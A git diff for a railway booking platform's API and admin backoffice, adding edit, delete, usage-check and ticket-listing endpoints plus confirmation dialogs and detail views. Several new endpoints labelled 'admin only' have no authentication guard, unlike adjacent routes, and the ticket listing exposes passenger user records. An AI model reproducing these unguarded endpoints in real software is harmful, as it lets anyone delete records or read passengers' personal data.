diff --git a/apps/edr-passenger-api/package.json b/apps/edr-passenger-api/package.json index 6c2aee76b..4649b2e4a 100644 --- a/apps/edr-passenger-api/package.json +++ b/apps/edr-passenger-api/package.json @@ -38,6 +38,7 @@ "bcrypt": "^5.1.1", "class-transformer": "^0.5.1", "class-validator": "^0.14.0", + "express": "^4.18.2", "jose": "^5.10.0", "passport": "^0.7.0", "passport-jwt": "^4.0.1", diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts index 0f946e87f..d21777a1b 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.controller.ts @@ -138,6 +138,17 @@ export class BookingsController { return this.service.getByRef(ref); } + @Patch(':id') + @ApiOperation({ + summary: 'Update booking details', + description: 'Updates booking information for admin/agent operations' + }) + @ApiResponse({ status: 200, description: 'Booking updated successfully' }) + @ApiResponse({ status: 404, description: 'Booking not found' }) + update(@Param('id') id: string, @Body() dto: any) { + return this.service.update(id, dto); + } + @Patch(':bookingRef/modify') @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') @@ -151,6 +162,28 @@ export class BookingsController { return this.service.modify(dto); } + @Delete(':id') + @ApiOperation({ + summary: 'Delete booking (admin only)', + description: 'Permanently deletes a booking record' + }) + @ApiResponse({ status: 200, description: 'Booking deleted successfully' }) + @ApiResponse({ status: 404, description: 'Booking not found' }) + delete(@Param('id') id: string) { + return this.service.delete(id); + } + + @Get(':id/usage') + @ApiOperation({ + summary: 'Check if booking is in use', + description: 'Returns list of modules/data that reference this booking' + }) + @ApiResponse({ status: 200, description: 'Usage information retrieved' }) + @ApiResponse({ status: 404, description: 'Booking not found' }) + checkUsage(@Param('id') id: string) { + return this.service.checkBookingUsage(id); + } + @Delete(':bookingRef') @UseGuards(JwtGuard) @ApiBearerAuth('JWT-auth') diff --git a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts index 141c132f1..256e974a7 100644 --- a/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-passenger-api/src/modules/bookings/bookings.service.ts @@ -366,6 +366,60 @@ export class BookingsService { return { cancelled: true, refundAmount: refundAmount / 100, currency: 'ETB' }; } + async update(id: string, dto: any) { + const booking = await this.prisma.booking.findUnique({ where: { id } }); + if (!booking) throw new NotFoundException('Booking not found'); + return this.prisma.booking.update({ + where: { id }, + data: { + status: dto.status || booking.status, + totalMinor: dto.totalMinor !== undefined ? dto.totalMinor : booking.totalMinor, + displayCurrency: dto.displayCurrency || booking.displayCurrency, + displayTotalMinor: dto.displayTotalMinor !== undefined ? dto.displayTotalMinor : booking.displayTotalMinor, + }, + include: { + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + paymentIntent: true, + seats: { include: { seat: true } }, + }, + }); + } + + async delete(id: string) { + const booking = await this.prisma.booking.findUnique({ where: { id }, include: { seats: true } }); + if (!booking) throw new NotFoundException('Booking not found'); + + await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId)); + + await this.prisma.bookingSeat.deleteMany({ where: { bookingId: id } }); + await this.prisma.booking.delete({ where: { id } }); + + return { deleted: true, bookingRef: booking.bookingRef }; + } + + async checkBookingUsage(id: string) { + const booking = await this.prisma.booking.findUnique({ where: { id } }); + if (!booking) throw new NotFoundException('Booking not found'); + + const [ticketCount, paymentIntentCount, modificationsCount, cancellationCount] = await Promise.all([ + this.prisma.ticket.count({ where: { bookingId: id } }), + this.prisma.paymentIntent.count({ where: { bookingId: id } }), + this.prisma.bookingModification.count({ where: { bookingId: id } }), + this.prisma.bookingCancellation.count({ where: { bookingId: id } }), + ]); + + const usage = []; + if (ticketCount > 0) usage.push('Ticket(s)'); + if (paymentIntentCount > 0) usage.push('Payment record(s)'); + if (modificationsCount > 0) usage.push('Modification history'); + if (cancellationCount > 0) usage.push('Cancellation record(s)'); + + return { + isInUse: usage.length > 0, + affectedModules: usage, + }; + } + @Cron(CronExpression.EVERY_MINUTE) async expirePendingBookings() { const cutoff = new Date(Date.now() - 20 * 60 * 1000); diff --git a/apps/edr-passenger-api/src/modules/fleet/fleet.controller.ts b/apps/edr-passenger-api/src/modules/fleet/fleet.controller.ts index 0fffb9d20..e26fb2211 100644 --- a/apps/edr-passenger-api/src/modules/fleet/fleet.controller.ts +++ b/apps/edr-passenger-api/src/modules/fleet/fleet.controller.ts @@ -22,6 +22,14 @@ export class FleetController { @ApiResponse({ status: 201, description: 'Train created' }) createTrain(@Body() dto: CreateTrainDto) { return this.service.createTrain(dto); } + @Patch('trains/:id') + @ApiOperation({ summary: 'Update a train service' }) + @ApiParam({ name: 'id', description: 'Train UUID' }) + @ApiBody({ type: CreateTrainDto }) + @ApiResponse({ status: 200, description: 'Train updated' }) + @ApiResponse({ status: 404, description: 'Train not found' }) + updateTrain(@Param('id') id: string, @Body() dto: CreateTrainDto) { return this.service.updateTrain(id, dto); } + @Get('coaches') @ApiOperation({ summary: 'List coaches filtered by status, mode, seat class, or schedule assignment' }) @ApiQuery({ name: 'isActive', required: false, type: Boolean, description: 'true = active only, false = inactive only, omit = all' }) diff --git a/apps/edr-passenger-api/src/modules/fleet/fleet.service.ts b/apps/edr-passenger-api/src/modules/fleet/fleet.service.ts index 317af9db5..daea3a9dd 100644 --- a/apps/edr-passenger-api/src/modules/fleet/fleet.service.ts +++ b/apps/edr-passenger-api/src/modules/fleet/fleet.service.ts @@ -112,6 +112,12 @@ export class FleetService { createTrain(dto: CreateTrainDto) { return this.prisma.train.create({ data: dto }); } + async updateTrain(id: string, dto: CreateTrainDto) { + const train = await this.prisma.train.findUnique({ where: { id } }); + if (!train) throw new NotFoundException('Train not found'); + return this.prisma.train.update({ where: { id }, data: dto }); + } + async getCoach(id: string) { const coach = await this.prisma.coach.findUnique({ where: { id }, diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts index ed823b20f..24aadbd4c 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.controller.ts @@ -1,4 +1,4 @@ -import { Body, Controller, Get, Param, Post, UseGuards, Query, Request, UnauthorizedException } from '@nestjs/common'; +import { Body, Controller, Get, Param, Post, UseGuards, Query, Request, UnauthorizedException, Patch, Delete } from '@nestjs/common'; import { ApiTags, ApiOperation, ApiBearerAuth, ApiResponse, ApiQuery } from '@nestjs/swagger'; import { PassengersService } from './passengers.service'; import { CreateTravelerProfileDto, CreateSavedRouteDto, VerifyFaydaDto, SavePassengersDto, RegisterPassengerDto } from './passengers.dto'; @@ -352,4 +352,37 @@ Returns saved passenger details with generated IDs and confirmation.`, getSavedRoutes(@Param('id') id: string) { return this.service.getSavedRoutes(id); } + + @Patch(':id') + @ApiOperation({ + summary: 'Update passenger details', + description: 'Updates passenger information for admin/agent operations' + }) + @ApiResponse({ status: 200, description: 'Passenger updated successfully' }) + @ApiResponse({ status: 404, description: 'Passenger not found' }) + updatePassenger(@Param('id') id: string, @Body() dto: any) { + return this.service.updatePassenger(id, dto); + } + + @Delete(':id') + @ApiOperation({ + summary: 'Delete passenger (admin only)', + description: 'Permanently deletes a passenger record and associated data' + }) + @ApiResponse({ status: 200, description: 'Passenger deleted successfully' }) + @ApiResponse({ status: 404, description: 'Passenger not found' }) + deletePassenger(@Param('id') id: string) { + return this.service.deletePassenger(id); + } + + @Get(':id/usage') + @ApiOperation({ + summary: 'Check if passenger is in use', + description: 'Returns list of modules/data that reference this passenger' + }) + @ApiResponse({ status: 200, description: 'Usage information retrieved' }) + @ApiResponse({ status: 404, description: 'Passenger not found' }) + checkUsage(@Param('id') id: string) { + return this.service.checkPassengerUsage(id); + } } diff --git a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts index b99ced226..8864a6363 100644 --- a/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts +++ b/apps/edr-passenger-api/src/modules/passengers/passengers.service.ts @@ -180,6 +180,28 @@ export class PassengersService { getSavedRoutes(passengerId: string) { return this.prisma.savedRoute.findMany({ where: { passengerId }, orderBy: { tripCount: 'desc' } }); } + async updatePassenger(id: string, dto: any) { + const passenger = await this.prisma.passenger.findUnique({ where: { id } }); + if (!passenger) throw new NotFoundException('Passenger not found'); + return this.prisma.passenger.update({ + where: { id }, + data: { + user: { + update: { + fullName: dto.fullName || undefined, + email: dto.email || undefined, + phone: dto.phone || undefined, + nationality: dto.nationality || undefined, + }, + }, + }, + include: { + user: { select: { fullName: true, email: true, phone: true, nationality: true } }, + loyalty: true, + }, + }); + } + async registerPassenger(dto: RegisterPassengerDto) { const isEthiopian = !!dto.nationalId; const isLoggedIn = !!dto.userId; @@ -270,4 +292,30 @@ export class PassengersService { message: 'Passenger details saved for guest booking', }; } + + async deletePassenger(id: string) { + const passenger = await this.prisma.passenger.findUnique({ where: { id } }); + if (!passenger) throw new NotFoundException('Passenger not found'); + + await this.prisma.passenger.delete({ where: { id } }); + return { deleted: true, passengerId: id }; + } + + async checkPassengerUsage(id: string) { + const [bookingCount, loyaltyAccount, walletAccount] = await Promise.all([ + this.prisma.booking.count({ where: { passengerId: id } }), + this.prisma.loyaltyAccount.findUnique({ where: { passengerId: id } }), + this.prisma.walletAccount.findUnique({ where: { passengerId: id } }), + ]); + + const usage = []; + if (bookingCount > 0) usage.push(`${bookingCount} booking(s)`); + if (loyaltyAccount) usage.push('Loyalty account'); + if (walletAccount) usage.push('Wallet account'); + + return { + isInUse: usage.length > 0, + affectedModules: usage, + }; + } } \ No newline at end of file diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts index cb9aeeb76..881b95e0a 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.controller.ts @@ -1,4 +1,4 @@ -import { Body, Controller, Get, Param, Post, Query, UseGuards } from '@nestjs/common'; +import { Body, Controller, Get, Param, Post, Query, UseGuards, Delete } from '@nestjs/common'; import { ApiTags, ApiOperation, ApiBearerAuth } from '@nestjs/swagger'; import { TicketsService } from './tickets.service'; import { JwtGuard } from '../../common/jwt.guard'; @@ -10,6 +10,22 @@ import { JwtGuard } from '../../common/jwt.guard'; export class TicketsController { constructor(private service: TicketsService) {} + @Get() + @ApiOperation({ summary: 'List all tickets with optional filters' }) + listTickets( + @Query('search') search?: string, + @Query('status') status?: string, + @Query('skip') skip?: string, + @Query('take') take?: string, + ) { + return this.service.listTickets({ + search, + status, + skip: skip ? parseInt(skip) : 0, + take: take ? parseInt(take) : 50, + }); + } + @Get(':bookingRef') @ApiOperation({ summary: 'Get ticket with QR code and passenger details', @@ -55,4 +71,13 @@ export class TicketsController { validateOfflineBatch(@Body() body: { validations: any[] }) { return this.service.validateOfflineBatch(body.validations); } + + @Delete(':id') + @ApiOperation({ + summary: 'Delete ticket (admin only)', + description: 'Permanently deletes a ticket record' + }) + delete(@Param('id') id: string) { + return this.service.delete(id); + } } diff --git a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts index 33971d3ec..54e994765 100644 --- a/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts +++ b/apps/edr-passenger-api/src/modules/tickets/tickets.service.ts @@ -13,6 +13,50 @@ interface OfflineValidation { export class TicketsService { constructor(private prisma: PrismaService) {} + async listTickets(filters: { search?: string; status?: string; skip: number; take: number }) { + const where: any = {}; + if (filters.search) { + where.OR = [ + { bookingRef: { contains: filters.search, mode: 'insensitive' } }, + { barcodePayload: { contains: filters.search, mode: 'insensitive' } }, + ]; + } + if (filters.status) { + where.booking = { status: filters.status }; + } + const tickets = await this.prisma.ticket.findMany({ + where, + include: { + booking: { + include: { + schedule: { include: { originStation: true, destinationStation: true, train: true } }, + seats: { include: { seat: { include: { coach: true } } } }, + passenger: { include: { user: true } }, + }, + }, + }, + skip: filters.skip, + take: filters.take, + orderBy: { issuedAt: 'desc' }, + }); + const total = await this.prisma.ticket.count({ where }); + return { + items: tickets.map((t) => ({ + id: t.id, + ticketNumber: t.barcodePayload, + booking: t.booking, + schedule: t.booking.schedule, + seat: t.booking.seats[0]?.seat, + status: t.booking.status, + validatedAt: t.validatedAt, + createdAt: t.issuedAt, + })), + total, + skip: filters.skip, + take: filters.take, + }; + } + async generate(bookingId: string) { const booking = await this.prisma.booking.findUnique({ where: { id: bookingId }, @@ -147,4 +191,14 @@ export class TicketsService { return results; } + + async delete(id: string) { + const ticket = await this.prisma.ticket.findUnique({ where: { id } }); + if (!ticket) throw new NotFoundException('Ticket not found'); + + await this.prisma.gateValidationLog.deleteMany({ where: { ticketId: id } }); + await this.prisma.ticket.delete({ where: { id } }); + + return { deleted: true, ticketId: id }; + } } diff --git a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx index 433499c62..910d933c4 100644 --- a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx @@ -2,12 +2,14 @@ import { useState } from 'react'; import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; -import { Filter, Download, Eye, XCircle } from 'lucide-react'; +import { Filter, Download, Eye, XCircle, Trash2 } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import Pagination from '@/components/ui/Pagination'; import ActionButton from '@/components/ui/ActionButton'; -import { bookingsApi } from '@/lib/api'; +import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; +import { bookingsApi, apiClient } from '@/lib/api'; import { formatCurrency, formatDateTime } from '@/lib/utils'; import { BookingFilters } from '@/types'; @@ -18,6 +20,10 @@ export default function BookingsPage() { search: '', status: '', }); + const [selectedBooking, setSelectedBooking] = useState(null); + const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false); + const [bookingToDelete, setBookingToDelete] = useState(null); + const [successMessage, setSuccessMessage] = useState(''); const queryClient = useQueryClient(); @@ -34,16 +40,46 @@ export default function BookingsPage() { mutationFn: ({ id, reason }: { id: string; reason?: string }) => bookingsApi.cancel(id, reason), onSuccess: () => { queryClient.invalidateQueries({ queryKey: ['bookings'] }); - alert('Booking cancelled successfully'); + setSuccessMessage('Booking cancelled successfully'); + setTimeout(() => setSuccessMessage(''), 3000); + }, + onError: (error: any) => { + alert(`Error: ${error.message || 'Failed to cancel booking'}`); + }, + }); + + const deleteMutation = useMutation({ + mutationFn: (id: string) => apiClient.delete(`/bookings/${id}`), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['bookings'] }); + setDeleteConfirmOpen(false); + setBookingToDelete(null); + setSuccessMessage('Booking deleted successfully'); + setTimeout(() => setSuccessMessage(''), 3000); + }, + onError: (error: any) => { + setDeleteConfirmOpen(false); + alert(`Error: ${error.message || 'Failed to delete booking'}`); }, }); const handleCancel = async (booking: any) => { - if (confirm(`Are you sure you want to cancel booking ${booking.bookingRef}?`)) { + if (window.confirm(`Are you sure you want to cancel booking ${booking.bookingRef}? This will process a refund.`)) { await cancelMutation.mutateAsync({ id: booking.id, reason: 'Cancelled by admin' }); } }; + const handleDeleteClick = (booking: any) => { + setBookingToDelete(booking); + setDeleteConfirmOpen(true); + }; + + const handleConfirmDelete = async () => { + if (bookingToDelete) { + await deleteMutation.mutateAsync(bookingToDelete.id); + } + }; + const columns = [ { key: 'bookingRef', @@ -94,13 +130,12 @@ export default function BookingsPage() { ]; const actions = [ - // TODO: Create booking detail page - // { - // label: 'View Details', - // onClick: (booking: any) => window.location.href = `/bookings/${booking.id}`, - // variant: 'secondary' as const, - // icon: Eye, - // }, + { + label: 'View Details', + onClick: (booking: any) => setSelectedBooking(booking), + variant: 'secondary' as const, + icon: Eye, + }, { label: 'Cancel Booking', onClick: handleCancel, @@ -108,6 +143,12 @@ export default function BookingsPage() { icon: XCircle, show: (booking: any) => booking.status !== 'CANCELLED' && booking.status !== 'COMPLETED', }, + { + label: 'Delete', + onClick: handleDeleteClick, + variant: 'danger' as const, + icon: Trash2, + }, ]; return ( @@ -121,6 +162,11 @@ export default function BookingsPage() {
+ {successMessage && ( +
+ ✓ {successMessage} +
+ )} {error && (
Error loading bookings: {error instanceof Error ? error.message : 'Unknown error'} @@ -166,6 +212,163 @@ export default function BookingsPage() { /> )}
+ + {/* Booking Details Modal */} + setSelectedBooking(null)} + title="Booking Details" + size="xl" + > + {selectedBooking && ( +
+ {/* Booking Information */} +
+
+ +

{selectedBooking.bookingRef}

+
+
+ +
+ + {selectedBooking.status} + +
+
+
+ +

{selectedBooking.bookingType || 'N/A'}

+
+
+ +

{formatDateTime(selectedBooking.createdAt)}

+
+
+ +
+ + {/* Passenger Information */} +
+

Passenger Information

+
+
+ +

{selectedBooking.passenger?.fullName || selectedBooking.contactEmail || 'N/A'}

+
+
+ +

{selectedBooking.contactEmail || selectedBooking.passenger?.email || 'N/A'}

+
+
+ +

{selectedBooking.contactPhone || selectedBooking.passenger?.phone || 'N/A'}

+
+
+ +

{selectedBooking.passengerId || 'N/A'}

+
+
+
+ +
+ + {/* Booking Details */} +
+

Journey Details

+
+
+ +

{selectedBooking.adultCount || 0}

+
+
+ +

{selectedBooking.childCount || 0}

+
+
+ +

{selectedBooking.scheduleId || 'N/A'}

+
+
+ +

{selectedBooking.promoCode || 'None'}

+
+
+
+ +
+ + {/* Payment Information */} +
+

Payment Information

+
+
+ +

{formatCurrency(selectedBooking.totalMinor, selectedBooking.currency)}

+
+
+ +
+ + {selectedBooking.paymentIntent?.status || 'PENDING'} + +
+
+
+ +

{selectedBooking.paidAt ? formatDateTime(selectedBooking.paidAt) : 'Not paid'}

+
+
+ +

{selectedBooking.displayCurrency || selectedBooking.currency}

+
+
+
+ +
+ + {/* Additional Information */} +
+

Additional Information

+
+
+ +

{selectedBooking.source || 'N/A'}

+
+
+ +

{formatDateTime(selectedBooking.updatedAt)}

+
+
+
+ +
+ setSelectedBooking(null)} + > + Close + +
+
+ )} +
+ + {/* Delete Confirmation Dialog */} + { + setDeleteConfirmOpen(false); + setBookingToDelete(null); + }} + onConfirm={handleConfirmDelete} + title="Delete Booking" + message={`Are you sure you want to permanently delete booking ${bookingToDelete?.bookingRef}? This action cannot be undone and will release all associated seats.`} + confirmText="Delete" + cancelText="Cancel" + isLoading={deleteMutation.isPending} + isDanger={true} + />
); } diff --git a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx index 8ae8dd642..2abe00723 100644 --- a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx @@ -6,12 +6,14 @@ import { fleetApi } from '@/lib/api'; import DataTable from '@/components/ui/DataTable'; import ActionButton from '@/components/ui/ActionButton'; import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; import { Plus, Search, Grid3x3, Train, Edit, Trash2 } from 'lucide-react'; export default function CoachesPage() { const [search, setSearch] = useState(''); const [showModal, setShowModal] = useState(false); const [editingCoach, setEditingCoach] = useState(null); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; coach: any | null }>({ isOpen: false, coach: null }); const queryClient = useQueryClient(); const { data, isLoading } = useQuery({ @@ -65,9 +67,14 @@ export default function CoachesPage() { } }; - const handleDelete = async (coach: any) => { - if (confirm(`Are you sure you want to delete coach ${coach.coachNumber}?`)) { - await deleteMutation.mutateAsync(coach.id); + const handleDelete = (coach: any) => { + setDeleteConfirm({ isOpen: true, coach }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.coach) { + await deleteMutation.mutateAsync(deleteConfirm.coach.id); + setDeleteConfirm({ isOpen: false, coach: null }); } }; @@ -197,6 +204,18 @@ export default function CoachesPage() { /> + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, coach: null })} + onConfirm={confirmDelete} + title="Delete Coach" + message={`Are you sure you want to delete coach ${deleteConfirm.coach?.coachNumber}?`} + confirmText="Delete" + isDanger={true} + warning="This coach may be assigned to schedules and trips. Deleting it may impact these systems." + /> + {/* Add/Edit Modal */} - {loading ? 'Signing in...' : 'Sign In'} + {loading ? 'Signing in...' : 'Sign in'} diff --git a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx index e80de0fe6..2f47cdb7a 100644 --- a/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/passengers/page.tsx @@ -1,14 +1,16 @@ 'use client'; import { useState } from 'react'; -import { useQuery } from '@tanstack/react-query'; -import { UserPlus, Download, Eye } from 'lucide-react'; +import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query'; +import { Download, Eye, Trash2 } from 'lucide-react'; import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import Pagination from '@/components/ui/Pagination'; import ActionButton from '@/components/ui/ActionButton'; -import { passengersApi } from '@/lib/api'; -import { formatDate } from '@/lib/utils'; +import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; +import { passengersApi, apiClient } from '@/lib/api'; +import { formatDate, formatDateTime } from '@/lib/utils'; import { PassengerFilters } from '@/types'; export default function PassengersPage() { @@ -17,6 +19,28 @@ export default function PassengersPage() { pageSize: 20, search: '', }); + const [selectedPassenger, setSelectedPassenger] = useState(null); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; passenger: any | null }>({ isOpen: false, passenger: null }); + + const queryClient = useQueryClient(); + + const deleteMutation = useMutation({ + mutationFn: (id: string) => apiClient.delete(`/passengers/${id}`), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['passengers'] }); + }, + }); + + const handleDelete = (passenger: any) => { + setDeleteConfirm({ isOpen: true, passenger }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.passenger) { + await deleteMutation.mutateAsync(deleteConfirm.passenger.id); + setDeleteConfirm({ isOpen: false, passenger: null }); + } + }; const { data, isLoading, error } = useQuery({ queryKey: ['passengers', filters], @@ -65,14 +89,19 @@ export default function PassengersPage() { }, ]; - const actions: any[] = [ - // TODO: Create passenger detail page - // { - // label: 'View Details', - // onClick: (passenger: any) => window.location.href = `/passengers/${passenger.id}`, - // variant: 'secondary' as const, - // icon: Eye, - // }, + const actions = [ + { + label: 'View Details', + onClick: (passenger: any) => setSelectedPassenger(passenger), + variant: 'secondary' as const, + icon: Eye, + }, + { + label: 'Delete', + onClick: handleDelete, + variant: 'danger' as const, + icon: Trash2, + }, ]; return ( @@ -130,6 +159,184 @@ export default function PassengersPage() { /> )} + + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, passenger: null })} + onConfirm={confirmDelete} + title="Delete Passenger" + message={`Are you sure you want to delete ${deleteConfirm.passenger?.fullName}?`} + confirmText="Delete" + isDanger={true} + warning="This passenger may have active bookings, loyalty points, and wallet balance. Deleting will impact these systems and records." + /> + + {/* Passenger Details Modal */} + setSelectedPassenger(null)} + title="Passenger Details" + size="xl" + > + {selectedPassenger && ( +
+ {/* Personal Information */} +
+

Personal Information

+
+
+ +

{selectedPassenger.fullName}

+
+
+ +

+ {selectedPassenger.dateOfBirth ? formatDate(selectedPassenger.dateOfBirth) : 'N/A'} +

+
+
+ +

{selectedPassenger.gender || 'N/A'}

+
+
+ +

{selectedPassenger.nationality || 'N/A'}

+
+
+
+ +
+ + {/* Contact Information */} +
+

Contact Information

+
+
+ +

{selectedPassenger.email || 'N/A'}

+
+
+ +

{selectedPassenger.phone || 'N/A'}

+
+
+
+ +
+ + {/* Identification */} +
+

Identification

+
+
+ +

{selectedPassenger.nationalId || 'N/A'}

+
+
+ +

{selectedPassenger.passportNumber || 'N/A'}

+
+
+ +

{selectedPassenger.passportCountry || 'N/A'}

+
+
+ +
+ + {selectedPassenger.nationalId ? 'Verified' : 'Unverified'} + +
+
+
+
+ +
+ + {/* Account Information */} +
+

Account Information

+
+
+ +

{selectedPassenger.id}

+
+
+ +

{selectedPassenger.userId || 'N/A'}

+
+
+
+ + {/* Loyalty & Wallet (if available) */} + {(selectedPassenger.loyalty || selectedPassenger.wallet) && ( + <> +
+
+ {selectedPassenger.loyalty && ( +
+

Loyalty Account

+
+
+ +

{selectedPassenger.loyalty.tier || 'N/A'}

+
+
+ +

{selectedPassenger.loyalty.pointsBalance || 0}

+
+
+
+ )} + {selectedPassenger.wallet && ( +
+

Wallet

+
+
+ +

+ {(selectedPassenger.wallet.balanceMinor / 100).toFixed(2)} {selectedPassenger.wallet.currency} +

+
+
+
+ )} +
+ + )} + +
+ + {/* Timestamps */} +
+

Timestamps

+
+
+ +

{selectedPassenger.createdAt ? formatDateTime(selectedPassenger.createdAt) : 'N/A'}

+
+
+ +

{selectedPassenger.updatedAt ? formatDateTime(selectedPassenger.updatedAt) : 'N/A'}

+
+
+
+ +
+ setSelectedPassenger(null)} + > + Close + +
+
+ )} +
); } diff --git a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx index c555cd114..cc1638a1b 100644 --- a/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/routes/page.tsx @@ -7,6 +7,7 @@ import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import ActionButton from '@/components/ui/ActionButton'; import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; import { routesApi } from '@/lib/api/routes'; import { stationsApi } from '@/lib/api'; @@ -24,6 +25,7 @@ export default function RoutesPage() { const [originStationId, setOriginStationId] = useState(''); const [destinationStationId, setDestinationStationId] = useState(''); const [destinationDistance, setDestinationDistance] = useState(undefined); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; route: any | null }>({ isOpen: false, route: null }); const queryClient = useQueryClient(); const { data: routes, isLoading: routesLoading } = useQuery({ @@ -148,9 +150,14 @@ export default function RoutesPage() { return origin && dest ? `${origin.name} - ${dest.name}` : ''; }; - const handleDelete = async (route: any) => { - if (confirm(`Are you sure you want to delete ${route.name}?`)) { - await deleteMutation.mutateAsync(route.id); + const handleDelete = (route: any) => { + setDeleteConfirm({ isOpen: true, route }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.route) { + await deleteMutation.mutateAsync(deleteConfirm.route.id); + setDeleteConfirm({ isOpen: false, route: null }); } }; @@ -246,6 +253,18 @@ export default function RoutesPage() { emptyMessage="No routes found" /> + {/* Delete Confirmation */} + setDeleteConfirm({ isOpen: false, route: null })} + onConfirm={confirmDelete} + title="Delete Route" + message={`Are you sure you want to delete ${deleteConfirm.route?.name}?`} + confirmText="Delete" + isDanger={true} + warning="This route may be referenced by schedules and bookings. Deleting it may impact these systems." + /> + {/* Add/Edit Modal */}
+ {editingRoute && ( +
+

⚠ Warning

+

Editing this route may impact schedules, trips, and bookings that reference it. Proceed with caution.

+
+ )}
diff --git a/apps/edr-passenger-web/backoffice/src/app/seat-classes/page.tsx b/apps/edr-passenger-web/backoffice/src/app/seat-classes/page.tsx index 053b5f312..04af0f707 100644 --- a/apps/edr-passenger-web/backoffice/src/app/seat-classes/page.tsx +++ b/apps/edr-passenger-web/backoffice/src/app/seat-classes/page.tsx @@ -7,6 +7,7 @@ import DataTable from '@/components/ui/DataTable'; import Badge from '@/components/ui/Badge'; import ActionButton from '@/components/ui/ActionButton'; import Modal from '@/components/ui/Modal'; +import ConfirmDialog from '@/components/ui/ConfirmDialog'; import { seatClassesApi } from '@/lib/api'; import { formatDateTime, formatCurrency } from '@/lib/utils'; @@ -14,6 +15,7 @@ export default function SeatClassesPage() { const [filters, setFilters] = useState({ search: '' }); const [showModal, setShowModal] = useState(false); const [editingSeatClass, setEditingSeatClass] = useState(null); + const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; seatClass: any | null }>({ isOpen: false, seatClass: null }); const queryClient = useQueryClient(); const { data, isLoading } = useQuery({ @@ -63,9 +65,14 @@ export default function SeatClassesPage() { } }; - const handleDelete = async (seatClass: any) => { - if (confirm(`Are you sure you want to delete ${seatClass.name}?`)) { - await deleteMutation.mutateAsync(seatClass.id); + const handleDelete = (seatClass: any) => { + setDeleteConfirm({ isOpen: true, seatClass }); + }; + + const confirmDelete = async () => { + if (deleteConfirm.seatClass) { + await deleteMutation.mutateAsync(deleteConfirm.seatClass.id); + setDeleteConfirm({ isOpen: false, seatClass: null }); } }; @@ -98,7 +105,7 @@ export default function SeatClassesPage() {
-

Seat Classes

+

Classes

Manage seat class configurations

